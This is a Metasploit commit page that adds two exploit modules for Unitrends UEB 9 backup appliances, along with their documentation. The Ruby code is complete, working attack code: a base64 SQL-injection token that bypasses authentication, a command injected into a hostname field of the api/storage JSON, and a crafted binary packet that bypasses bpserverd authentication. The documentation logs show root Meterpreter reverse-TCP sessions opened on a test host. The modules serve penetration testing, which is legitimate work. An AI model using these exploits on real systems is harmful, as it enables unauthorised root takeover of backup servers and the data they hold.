Skip to content

Commit 5a6da48

Browse files
h00dieh00die
committed
Land rapid7#9043 two exploit modules for unitrends backup
2 parents 884b68f + 5abdfe3 commit 5a6da48

File tree

4 files changed

+326
-0
lines changed

4 files changed

+326
-0
lines changed

‎documentation/modules/exploit/linux/http/ueb9_api_storage.md

Lines changed: 42 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,42 @@
1+
## Vulnerable Application
2+
3+
Unitrends UEB 9 http api/storage remote root
4+
5+
This exploit leverages a sqli vulnerability for authentication bypass,
6+
together with command injection for subsequent root RCE.
7+
8+
## Verification Steps
9+
10+
1. ```use exploit/linux/http/ueb9_api_storage ```
11+
2. ```set lhost [IP]```
12+
3. ```set rhost [IP]```
13+
4. ```exploit```
14+
5. A meterpreter session should have been opened successfully
15+
16+
## Scenarios
17+
18+
### UEB 9.1 on CentOS 6.5
19+
20+
```
21+
msf > use exploit/linux/http/ueb9_api_storage
22+
msf exploit(ueb9_api_storage) > set rhost 10.0.0.230
23+
rhost => 10.0.0.230
24+
msf exploit(ueb9_api_storage) > set lhost 10.0.0.141
25+
lhost => 10.0.0.141
26+
msf exploit(ueb9_api_storage) > exploit
27+
28+
[*] Started reverse TCP handler on 10.0.0.141:4444
29+
[*] 10.0.0.230:443 - pwn'ng ueb 9....
30+
[*] Command Stager progress - 19.83% done (164/827 bytes)
31+
[*] Command Stager progress - 39.30% done (325/827 bytes)
32+
[*] Command Stager progress - 57.44% done (475/827 bytes)
33+
[*] Command Stager progress - 75.45% done (624/827 bytes)
34+
[*] Command Stager progress - 93.35% done (772/827 bytes)
35+
[*] Command Stager progress - 110.88% done (917/827 bytes)
36+
[*] Sending stage (826872 bytes) to 10.0.0.230
37+
[*] Command Stager progress - 126.72% done (1048/827 bytes)
38+
[*] Meterpreter session 1 opened (10.0.0.141:4444 -> 10.0.0.230:33674) at 2017-10-06 11:07:47 -0400
39+
40+
meterpreter > getuid
41+
Server username: uid=0, gid=0, euid=0, egid=0
42+
```

‎documentation/modules/exploit/linux/misc/ueb9_bpserverd.md

Lines changed: 72 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,72 @@
1+
## Vulnerable Application
2+
3+
Unitrends UEB 9 bpserverd authentication bypass RCE
4+
5+
This exploit uses roughly the same process to gain root execution
6+
as does the apache user on the Unitrends appliance. The process is
7+
something like this:
8+
9+
1. Connect to xinetd process (it's usually running on port 1743)
10+
2. This process will send something like: `?A,Connect36092`
11+
3. Initiate a second connection to the port specified
12+
in the packet from xinetd (36092 in this example)
13+
4. send a specially crafted packet to xinetd, containing the
14+
command to be executed as root
15+
5. Receive command output from the connection to port 36092
16+
6. Close both connections
17+
18+
19+
## Verification Steps
20+
21+
1. ```use exploit/linux/misc/ueb9_bpserverd ```
22+
2. ```set lhost [IP]```
23+
3. ```set rhost [IP]```
24+
4. ```exploit```
25+
5. A meterpreter session should have been opened successfully
26+
27+
## Scenarios
28+
29+
### UEB 9.1 on CentOS 6.5
30+
31+
```
32+
msf > use exploit/linux/misc/ueb9_bpserverd
33+
msf exploit(ueb9_bpserverd) > set rhost 10.0.0.230
34+
rhost => 10.0.0.230
35+
msf exploit(ueb9_bpserverd) > set lhost 10.0.0.141
36+
lhost => 10.0.0.141
37+
msf exploit(ueb9_bpserverd) > exploit
38+
39+
[*] Started reverse TCP handler on 10.0.0.141:4444
40+
[*] 10.0.0.230:1743 - 10.0.0.230:1743 - pwn'ng ueb 9....
41+
[*] 10.0.0.230:1743 - Connecting to xinetd for bpd port...
42+
[+] 10.0.0.230:1743 - bpd port recieved: 45425
43+
[*] 10.0.0.230:1743 - Connecting to 45425
44+
[+] 10.0.0.230:1743 - Connected!
45+
[*] 10.0.0.230:1743 - Sending command buffer to xinetd
46+
[*] 10.0.0.230:1743 - Command Stager progress - 26.71% done (199/745 bytes)
47+
[*] 10.0.0.230:1743 - Connecting to xinetd for bpd port...
48+
[+] 10.0.0.230:1743 - bpd port recieved: 40889
49+
[*] 10.0.0.230:1743 - Connecting to 40889
50+
[+] 10.0.0.230:1743 - Connected!
51+
[*] 10.0.0.230:1743 - Sending command buffer to xinetd
52+
[*] 10.0.0.230:1743 - Command Stager progress - 53.56% done (399/745 bytes)
53+
[*] 10.0.0.230:1743 - Connecting to xinetd for bpd port...
54+
[+] 10.0.0.230:1743 - bpd port recieved: 40016
55+
[*] 10.0.0.230:1743 - Connecting to 40016
56+
[+] 10.0.0.230:1743 - Connected!
57+
[*] 10.0.0.230:1743 - Sending command buffer to xinetd
58+
[*] 10.0.0.230:1743 - Command Stager progress - 80.27% done (598/745 bytes)
59+
[*] 10.0.0.230:1743 - Connecting to xinetd for bpd port...
60+
[+] 10.0.0.230:1743 - bpd port recieved: 53649
61+
[*] 10.0.0.230:1743 - Connecting to 53649
62+
[+] 10.0.0.230:1743 - Connected!
63+
[*] 10.0.0.230:1743 - Sending command buffer to xinetd
64+
[*] Sending stage (826872 bytes) to 10.0.0.230
65+
[*] Meterpreter session 1 opened (10.0.0.141:4444 -> 10.0.0.230:33715) at 2017-10-06 11:33:56 -0400
66+
[*] 10.0.0.230:1743 - Command Stager progress - 100.00% done (745/745 bytes)
67+
68+
meterpreter > getuid
69+
Server username: uid=0, gid=0, euid=0, egid=0
70+
meterpreter >
71+
72+
```

‎modules/exploits/linux/http/ueb9_api_storage.rb

Lines changed: 93 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,93 @@
1+
##
2+
# This module requires Metasploit: https://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
class MetasploitModule < Msf::Exploit::Remote
7+
Rank = ExcellentRanking
8+
9+
include Msf::Exploit::Remote::HttpClient
10+
include Msf::Exploit::CmdStager
11+
12+
def initialize(info = {})
13+
super(update_info(info,
14+
'Name' => 'Unitrends UEB 9 http api/storage remote root',
15+
'Description' => %q{
16+
It was discovered that the api/storage web interface in Unitrends Backup (UB)
17+
before 10.0.0 has an issue in which one of its input parameters was not validated.
18+
A remote attacker could use this flaw to bypass authentication and execute arbitrary
19+
commands with root privilege on the target system.
20+
},
21+
'Author' =>
22+
[
23+
'Cale Smith', # @0xC413
24+
'Benny Husted', # @BennyHusted
25+
'Jared Arave' # @iotennui
26+
],
27+
'License' => MSF_LICENSE,
28+
'Platform' => 'linux',
29+
'Arch' => [ARCH_X86],
30+
'CmdStagerFlavor' => [ 'printf' ],
31+
'References' =>
32+
[
33+
['URL', 'https://support.unitrends.com/UnitrendsBackup/s/article/ka640000000TO5PAAW/000005756'],
34+
['URL', 'https://nvd.nist.gov/vuln/detail/CVE-2017-12478'],
35+
['CVE', '2017-12478'],
36+
],
37+
'Targets' =>
38+
[
39+
[ 'UEB 9.*', { } ]
40+
],
41+
'Privileged' => true,
42+
'DefaultOptions' => {
43+
'PAYLOAD' => 'linux/x86/meterpreter/reverse_tcp',
44+
'SSL' => true
45+
},
46+
'DisclosureDate' => 'Aug 8 2017',
47+
'DefaultTarget' => 0))
48+
register_options(
49+
[
50+
Opt::RPORT(443),
51+
OptBool.new('SSL', [true, 'Use SSL', true])
52+
])
53+
deregister_options('SRVHOST', 'SRVPORT')
54+
end
55+
56+
#substitue some charactes
57+
def filter_bad_chars(cmd)
58+
cmd.gsub!("\\", "\\\\\\")
59+
cmd.gsub!("'", '\\"')
60+
end
61+
62+
def execute_command(cmd, opts = {})
63+
session = "v0:b' UNION SELECT -1 -- :1:/usr/bp/logs.dir/gui_root.log:0" #SQLi auth bypass
64+
session = Base64.strict_encode64(session) #b64 encode session token
65+
66+
#substitue the cmd into the hostname parameter
67+
parms = %Q|{"type":4,"name":"_Stateless","usage":"stateless","build_filesystem":1,"properties":{"username":"aaaa","password":"aaaa","hostname":"`|
68+
parms << filter_bad_chars(cmd)
69+
parms << %Q|` &","port":"2049","protocol":"nfs","share_name":"aaa"}}|
70+
71+
72+
res = send_request_cgi({
73+
'uri' => '/api/storage',
74+
'method' => 'POST',
75+
'ctype' => 'application/json',
76+
'encode_params' => false,
77+
'data' => parms,
78+
'headers' =>
79+
{'AuthToken' => session}
80+
})
81+
82+
if res && res.code != 500
83+
fail_with(Failure::UnexpectedReply,'Unexpected response')
84+
end
85+
rescue ::Rex::ConnectionError
86+
fail_with(Failure::Unreachable, "#{peer} - Failed to connect to the web server")
87+
end
88+
89+
def exploit
90+
print_status("#{peer} - pwn'ng ueb 9....")
91+
execute_cmdstager(:linemax => 120)
92+
end
93+
end

‎modules/exploits/linux/misc/ueb9_bpserverd.rb

Lines changed: 119 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,119 @@
1+
##
2+
# This module requires Metasploit: https://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
class MetasploitModule < Msf::Exploit::Remote
7+
Rank = ExcellentRanking
8+
9+
include Msf::Exploit::Remote::Tcp
10+
include Msf::Exploit::CmdStager
11+
12+
def initialize(info = {})
13+
super(update_info(info,
14+
'Name' => 'Unitrends UEB bpserverd authentication bypass RCE',
15+
'Description' => %q{
16+
It was discovered that the Unitrends bpserverd proprietary protocol, as exposed via xinetd,
17+
has an issue in which its authentication can be bypassed. A remote attacker could use this
18+
issue to execute arbitrary commands with root privilege on the target system.
19+
},
20+
'Author' =>
21+
[
22+
'Jared Arave', # @iotennui
23+
'Cale Smith', # @0xC413
24+
'Benny Husted' # @BennyHusted
25+
],
26+
'License' => MSF_LICENSE,
27+
'Platform' => 'linux',
28+
'Arch' => [ARCH_X86],
29+
'CmdStagerFlavor' => [ 'printf' ],
30+
'References' =>
31+
[
32+
['URL', 'https://support.unitrends.com/UnitrendsBackup/s/article/ka640000000CcZeAAK/000005755'],
33+
['URL', 'https://nvd.nist.gov/vuln/detail/CVE-2017-12477'],
34+
['CVE', '2017-12477'],
35+
],
36+
'Targets' =>
37+
[
38+
[ 'UEB 9.*', { } ]
39+
],
40+
'Privileged' => true,
41+
'DefaultOptions' => {
42+
'PAYLOAD' => 'linux/x86/meterpreter/reverse_tcp',
43+
'SSL' => false
44+
},
45+
'DisclosureDate' => 'Aug 8 2017',
46+
'DefaultTarget' => 0))
47+
register_options([
48+
Opt::RPORT(1743)
49+
])
50+
deregister_options('CMDSTAGER::DECODER', 'CMDSTAGER::FLAVOR')
51+
end
52+
53+
def check
54+
s1 = connect(global = false)
55+
buf1 = s1.get_once(-1).to_s
56+
#parse out the bpd port returned
57+
bpd_port = buf1[-8..-3].to_i
58+
59+
#check if it's a valid port number (1-65534)
60+
if bpd_port && bpd_port >= 1 && bpd_port <= 65535
61+
Exploit::CheckCode::Detected
62+
else
63+
Exploit::CheckCode::Safe
64+
end
65+
end
66+
67+
def execute_command(cmd, opts = {})
68+
69+
#append a comment, ignore everything after our cmd
70+
cmd = cmd + " #"
71+
72+
# build the attack buffer...
73+
command_len = cmd.length + 3
74+
packet_len = cmd.length + 23
75+
data = "\xa5\x52\x00\x2d"
76+
data << "\x00\x00\x00"
77+
data << packet_len
78+
data << "\x00\x00\x00"
79+
data << "\x01"
80+
data << "\x00\x00\x00"
81+
data << "\x4c"
82+
data << "\x00\x00\x00"
83+
data << command_len
84+
data << cmd
85+
data << "\x00\x00\x00"
86+
87+
begin
88+
print_status("Connecting to xinetd for bpd port...")
89+
s1 = connect(global = false)
90+
buf1 = s1.get_once(-1).to_s
91+
92+
#parse out the bpd port returned, we will connect back on this port to send our cmd
93+
bpd_port = buf1[-8..-3].to_i
94+
95+
print_good("bpd port recieved: #{bpd_port}")
96+
vprint_status("Connecting to #{bpd_port}")
97+
98+
s2 = connect(global = false, opts = {'RPORT'=>bpd_port})
99+
vprint_good('Connected!')
100+
101+
print_status('Sending command buffer to xinetd')
102+
103+
s1.put(data)
104+
s2.get_once(-1,1).to_s
105+
106+
disconnect(s1)
107+
disconnect(s2)
108+
109+
rescue Rex::AddressInUse, ::Errno::ETIMEDOUT, Rex::HostUnreachable, Rex::ConnectionTimeout, Rex::ConnectionRefused, ::Timeout::Error, ::EOFError => e
110+
fail_with(Failure::Unreachable, "#{peer} - Connection to server failed")
111+
end
112+
113+
end
114+
115+
def exploit
116+
print_status("#{peer} - pwn'ng ueb 9....")
117+
execute_cmdstager(:linemax => 200)
118+
end
119+
end

0 commit comments

Comments
 (0)